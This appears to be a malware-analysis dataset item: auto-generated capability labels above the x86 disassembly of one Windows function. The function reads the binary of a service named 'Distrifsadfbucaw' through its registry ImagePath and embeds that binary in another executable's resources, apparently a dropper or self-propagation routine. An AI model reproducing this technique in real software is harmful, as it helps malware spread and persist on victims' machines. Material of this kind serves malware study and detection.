Function at 0x4028c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x110]
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x110]
push str.Distrifsadfbucaw
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 8]
lea eax, [ebp - 0x110]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x409c98]
test eax, eax
je 0x402925
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x110]
lea edx, [ebp - 0x110]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [ebp - 8]
push str.ImagePath
push eax
call dword [0x409c94]
test eax, eax
je 0x402979
mov ecx, dword [ebp - 8]
push ecx
call dword [0x409c90]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 8]
push edx
call dword [0x409c90]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40299e
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [ebp - 0x110]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4029ca
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [ebp - 4], eax
jne 0x4029ea
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402a09
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402a41
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x402a6a
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov edi, eax
test edi, edi
je 0x402aa3
push str.Distrifsadfbucaw
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distrifsadfbucaw
push 0
push 0x65
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
push ebx
jne 0x402ac0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret